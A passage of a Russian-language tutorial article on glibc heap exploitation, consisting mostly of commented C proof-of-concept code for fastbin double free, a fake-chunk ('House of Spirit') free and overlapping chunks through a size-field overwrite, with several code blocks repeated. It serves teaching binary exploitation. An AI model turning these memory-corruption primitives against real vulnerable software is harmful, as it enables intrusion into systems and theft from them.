ptrs[i] = malloc(8);
}
// аллоцируем 3 буфера аналогичной длины через calloc:
int* a = calloc(1, 8);
int* b = calloc(1, 8);
int* c = calloc(1, 8);
// освобождаем первый из них:
free(a);
// если мы снова освободим первый буфер, это вызовет вылет программы,
// потому что адрес a находится на вершине списка освобождённых чанков (free list)
// поэтому давайте попробуем освободить b:
free(b);
// мы можем освободить fastbin чанк a снова,
// т.к теперь он не находится на вершине списка free list (её изначальное место занял b)
free(a);
// теперь free list выглядит следующим образом:
// [ a (new), b (new), a (old) ]
// направление head => tail
// если мы трижды вызовем аллокацию, мы получим адрес буфера a второй раз:
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
// третий вызов calloc вернул адрес буфера a
printf("magic: c = %p, a = %p", c, a);Освобождаем несуществующий (ложный) чанк fastbin, чтобы заставить malloc вернуть нам указатель на произвольную область в памяти.
Данный трюк был продемонстрирован на CTF 2014 OREO)
// массив из 7 чанков (указатели)
void* chunks[7];
// ШАГ 1:
// инициализируем 7 fastbin чанков (исходя из их размера)
for (int i = 0; i < 7; i++) {
chunks[i] = malloc(0x30);
}
// сразу же освобождаем их
for (int i = 0; i < 7; i++) {
free(chunks[i]);
}
// ШАГ 2:
// подготавливаем фейковые чанки
// не смотрите на число 10 - fake_chunks это просто область в памяти
// для последующих аллокаций (которые будут фактически являться двумя fastbin чанками из-за выравнивания)
long fake_chunks[10] __attribute__ ((aligned (0x10)));
printf("fake chunk located at %p", fake_chunks);
// из-за смещений (struct allign), этот массив располагается на двух чанках по адресам:
printf("first chunk at %p, second chunk at %p", &fake_chunks[1], &fake_chunks[9]);
// chunk.size для первого чанка должен на 16 байт превышать размер данных чанка
// чтобы вместить данные структуры malloc_chunk, но при этом
// соответствовать критериям fastbin чанка (занимать <= 128 байт, актуально для 64 битной системы).
// бит PREV_INUSE (первый младший бит) игнорируется функцией free для
// чанков, аллоцированных по принципу fastbin,
// но с битами IS_MMAPPED (второй младший бит) и
// NON_MAIN_ARENA (третий младший бит) возникнет проблемка.
// обратите внимание, что chunk.size должен совпадать с размером следующей аллокации malloc
// (т.е аргумент функции malloc при следующем её вызове должен быть равен chunk.size),
// округлённый / выровненный до внутреннего размера, используемого в реализации malloc (речь идёт о struct malloc_chunk)
// то есть в 64 битной системе значения 0x30-0x38 будут округлены до 0x40
// поэтому это число вполне подходит нам
// теперь установим размер фейкового чанка равным 0x40.
// таким образом, аллокатор glibc malloc будет думать, что
// имеет дело с валидным, нормальным чанком
fake_chunks[1] = 0x40; // это поле struct malloc_chunk::size для первого чанка в памяти
// размер chunk.size следующего фейкового чанка (который начинается с &fake_chunks[9])
// так-же должен соответствовать норме:
// - быть больше чем 2 * SIZE_SZ (т.е. больше 16 в 64 битных системах)
// - быть меньше чем av->system_mem (по умолчанию это 128 кб)
// для того, чтобы пройти проверки целостности nextsize (поле struct malloc_chunk::fd_nextsize)
// === ВНИМАНИЕ ===
// если не соблюсти вышеперечисленные условия, аллокатор просто вызовет abort(), и все старания окажутся напрасными
// теперь устанавливаем значение второго чанка на 0x1234
// чтобы освобождение первого чанка прошло успешно:
fake_chunks[9] = 0x1234;
// ШАГ 3:
// освобождаем первый чанк
// прошу заметить, что адрес первого чанка
// должен быть выровнен по 16 байтам
void* victim = &fake_chunks[2];
free(victim);
// ШАГ 4:
// теперь вызов calloc должен вернуть нам указатель на фейковый чанк &fake_chunks[2]
// malloc тоже способен это сделать, но придётся вызвать его по меньшей мере 8 раз, поэтому мы пойдём более простым путем
void* allocated = calloc(1, 0x30);
// а теперь смотрим что вернул calloc - профит!
printf("allocated at %p, fake chunk: %p", allocated, victim);
cpp
// массив из 7 чанков (указатели)
void* chunks[7];
// ШАГ 1:
// инициализируем 7 fastbin чанков (исходя из их размера)
for (int i = 0; i < 7; i++) {
chunks[i] = malloc(0x30);
}
// сразу же освобождаем их
for (int i = 0; i < 7; i++) {
free(chunks[i]);
}
// ШАГ 2:
// подготавливаем фейковые чанки
// не смотрите на число 10 - fake_chunks это просто область в памяти
// для последующих аллокаций (которые будут фактически являться двумя fastbin чанками из-за выравнивания)
long fake_chunks[10] __attribute__ ((aligned (0x10)));
printf("fake chunk located at %p", fake_chunks);
// из-за смещений (struct allign), этот массив располагается на двух чанках по адресам:
printf("first chunk at %p, second chunk at %p", &fake_chunks[1], &fake_chunks[9]);
// chunk.size для первого чанка должен на 16 байт превышать размер данных чанка
// чтобы вместить данные структуры malloc_chunk, но при этом
// соответствовать критериям fastbin чанка (занимать <= 128 байт, актуально для 64 битной системы).
// бит PREV_INUSE (первый младший бит) игнорируется функцией free для
// чанков, аллоцированных по принципу fastbin,
// но с битами IS_MMAPPED (второй младший бит) и
// NON_MAIN_ARENA (третий младший бит) возникнет проблемка.
// обратите внимание, что chunk.size должен совпадать с размером следующей аллокации malloc
// (т.е аргумент функции malloc при следующем её вызове должен быть равен chunk.size),
// округлённый / выровненный до внутреннего размера, используемого в реализации malloc (речь идёт о struct malloc_chunk)
// то есть в 64 битной системе значения 0x30-0x38 будут округлены до 0x40
// поэтому это число вполне подходит нам
// теперь установим размер фейкового чанка равным 0x40.
// таким образом, аллокатор glibc malloc будет думать, что
// имеет дело с валидным, нормальным чанком
fake_chunks[1] = 0x40; // это поле struct malloc_chunk::size для первого чанка в памяти
// размер chunk.size следующего фейкового чанка (который начинается с &fake_chunks[9])
// так-же должен соответствовать норме:
// - быть больше чем 2 * SIZE_SZ (т.е. больше 16 в 64 битных системах)
// - быть меньше чем av->system_mem (по умолчанию это 128 кб)
// для того, чтобы пройти проверки целостности nextsize (поле struct malloc_chunk::fd_nextsize)
// === ВНИМАНИЕ ===
// если не соблюсти вышеперечисленные условия, аллокатор просто вызовет abort(), и все старания окажутся напрасными
// теперь устанавливаем значение второго чанка на 0x1234
// чтобы освобождение первого чанка прошло успешно:
fake_chunks[9] = 0x1234;
// ШАГ 3:
// освобождаем первый чанк
// прошу заметить, что адрес первого чанка
// должен быть выровнен по 16 байтам
void* victim = &fake_chunks[2];
free(victim);
// ШАГ 4:
// теперь вызов calloc должен вернуть нам указатель на фейковый чанк &fake_chunks[2]
// malloc тоже способен это сделать, но придётся вызвать его по меньшей мере 8 раз, поэтому мы пойдём более простым путем
void* allocated = calloc(1, 0x30);
// а теперь смотрим что вернул calloc - профит!
printf("allocated at %p, fake chunk: %p", allocated, victim);Эксплуатируем перезапись поля size у освобождённого чанка, чтобы следующий чанк был аллоцирован на месте одного из предыдущих, тем самым позволяя перезаписывать данные прошлых чанков, обращаясь к новому.
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main(int argc , char* argv[]) {
// создаём 4 указателя на 4 чанка соответственно, пока они пусты
intptr_t *p1,*p2,*p3,*p4;
// выделяем память под первые 3 чанка, они попадут в кучу (heap)
// для удобства можно вывести их в stdout и посмотреть, где именно они были аллоцированы
p1 = malloc(0x500 - 8);
p2 = malloc(0x500 - 8);
p3 = malloc(0x80 - 8);
// забиваем их произвольными данными, в нашем случае для наглядности используются цифры 1, 2 и 3
memset(p1, '1', 0x500 - 8);
memset(p2, '2', 0x500 - 8);
memset(p3, '3', 0x80 - 8);
// освобождаем второй чанк
// на этом моменте начинается веселье - p2 указывает на освобождённый unsorted bin чанк (поле malloc_chunk::fd)
// т.к мы освободили память, теперь туда может быть записано что угодно
// при этом мы всё ещё в состоянии перезаписать поле malloc_chunk::size для достижения этого трюка (см. ниже)
free(p2);
// обратите внимание:
// фактический размер "злого" чанка это размеры p2 + p3, но без учёта malloc_chunk::size (для дальнейшей перезаписи данных в p3)
int evil_chunk_size = 0x581;
// цифра 8 здесь означает sizeof(size_t), размер поля malloc_chunk::size, для 32 битных систем здесь логично будет 4
int evil_region_size = 0x580 - 8;
// на этом моменте происходит самое интересное - мы записываем последние биты освобождённого чанка, отвечающие за длину чанка
// после данного трюка, размер чанка будет установлен в 0x581 байт
// адрес p2 - 1 указывает на поле размера чанка, malloc_chunk::size
*(p2-1) = evil_chunk_size;
// аллоцируем следующий чанк
// этот вызов malloc вернёт адрес области в памяти, принадлежавшей предыдущему освобождённому чанку (p2)
p4 = malloc(evil_region_size);
// теперь, копируя что угодно в p4, будет перезаписан кусок данных в p3
// перезаписываем чанки чтобы в этом убедиться:
memset(p4, '4', evil_region_size);
memset(p3, '3', 80);
return 0;
}
cpp
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main(int argc , char* argv[]) {
// создаём 4 указателя на 4 чанка соответственно, пока они пусты
intptr_t *p1,*p2,*p3,*p4;
// выделяем память под первые 3 чанка, они попадут в кучу (heap)
// для удобства можно вывести их в stdout и посмотреть, где именно они были аллоцированы
p1 = malloc(0x500 - 8);
p2 = malloc(0x500 - 8);
p3 = malloc(0x80 - 8);
// забиваем их произвольными данными, в нашем случае для наглядности используются цифры 1, 2 и 3
memset(p1, '1', 0x500 - 8);
memset(p2, '2', 0x500 - 8);
memset(p3, '3', 0x80 - 8);
// освобождаем второй чанк
// на этом моменте начинается веселье - p2 указывает на освобождённый unsorted bin чанк (поле malloc_chunk::fd)
// т.к мы освободили память, теперь туда может быть записано что угодно
// при этом мы всё ещё в состоянии перезаписать поле malloc_chunk::size для достижения этого трюка (см. ниже)
free(p2);
// обратите внимание:
// фактический размер "злого" чанка это размеры p2 + p3, но без учёта malloc_chunk::size (для дальнейшей перезаписи данных в p3)
int evil_chunk_size = 0x581;
// цифра 8 здесь означает sizeof(size_t), размер поля malloc_chunk::size, для 32 битных систем здесь логично будет 4
int evil_region_size = 0x580 - 8;
// на этом моменте происходит самое интересное - мы записываем последние биты освобождённого чанка, отвечающие за длину чанка
// после данного трюка, размер чанка будет установлен в 0x581 байт
// адрес p2 - 1 указывает на поле размера чанка, malloc_chunk::size
*(p2-1) = evil_chunk_size;
// аллоцируем следующий чанк
// этот вызов malloc вернёт адрес области в памяти, принадлежавшей предыдущему освобождённому чанку (p2)
p4 = malloc(evil_region_size);
// теперь, копируя что угодно в p4, будет перезаписан кусок данных в p3
// перезаписываем чанки чтобы в этом убедиться:
memset(p4, '4', evil_region_size);
memset(p3, '3', 80);
return 0;
}
А теперь разберёмся, почему это работает.
Возьмём следующий код:
char *A, *B, *C; // три буфера
// выделяем первый чанк
// здесь произойдёт переполнение
A = malloc(0x100 - 8);
// выделяем второй чанк
// чуть ниже мы его "освободим"
B = malloc(0x100 - 8);
// выделяем третий чанк
// после реалокации произойдёт наложение чанка B на чанк C
C = malloc(0x80 - 8);
// теперь посмотрим, куда указывает указатель C (и где он заканчивается):
printf("C begin: %p, C end: %p", C, C + 0x80 - 8);
// освобождаем второй чанк
// после этого структура malloc_chunk будет считаться освобождённой (статус freed)
free(B);
// теперь перезаписываем первый чанк (выходим за его пределы)
// после этого трюка второй чанк будет занимать 0x181 байт (вместо 0x101)
// потому что следом за A идёт начало чанка B:
// struct malloc_chunk {
// INTERNAL_SIZE_T prev_size; // размер предыдущего чанка, если он свободен
// следовательно, перезаписав это значение, мы сломаем логику поведения malloc
A[0x100 - 8] = 0x81;
// реаллоцируем чанк B
// обратите внимание на размер - он гораздо больше, чем был (на 0x80 байт)
// и стал равен прошлому размеру B + размеру C
B = malloc(0x100 + 0x80 - 8);
// теперь смотрим, какую область занимает чанк B, и удивляемся:
cpp
char *A, *B, *C; // три буфера
// выделяем первый чанк
// здесь произойдёт переполнение
A = malloc(0x100 - 8);
// выделяем второй чанк
// чуть ниже мы его "освободим"
B = malloc(0x100 - 8);
// выделяем третий чанк
// после реалокации произойдёт наложение чанка B на чанк C
C = malloc(0x80 - 8);
// теперь посмотрим, куда указывает указатель C (и где он заканчивается):
printf("C begin: %p, C end: %p", C, C + 0x80 - 8);
// освобождаем второй чанк
// после этого структура malloc_chunk будет считаться освобождённой (статус freed)
free(B);
// теперь перезаписываем первый чанк (выходим за его пределы)
// после этого трюка второй чанк будет занимать 0x181 байт (вместо 0x101)
// потому что следом за A идёт начало чанка B:
// struct malloc_chunk {
// INTERNAL_SIZE_T prev_size; // размер предыдущего чанка, если он свободен
// следовательно, перезаписав это значение, мы сломаем логику поведения malloc
A[0x100 - 8] = 0x81;
// реаллоцируем чанк B
// обратите внимание на размер - он гораздо больше, чем был (на 0x80 байт)
// и стал равен прошлому размеру B + размеру C
B = malloc(0x100 + 0x80 - 8);
// теперь смотрим, какую область занимает чанк B, и удивляемся:
В памяти это будет выглядеть примерно следующим образом (картинка из интернета):
Таким образом, мы перезаписали размер чанка B при помощи выхода за границы чанка A, после чего реаллоцировав чанк B, он залез на соседний чанк C.
UPD:
Статья была полностью переписана и объединена с другими частями в единое целое, было затронуто большое количество сложных тем.
Надеюсь, она станет отличной отправной точкой в изучении бинарных уязвимостей, реверс инженеринга и эксплойтинга, а если вы имели такой опыт прежде - поможет вам узнать для себя что-то новое)
Загрузка...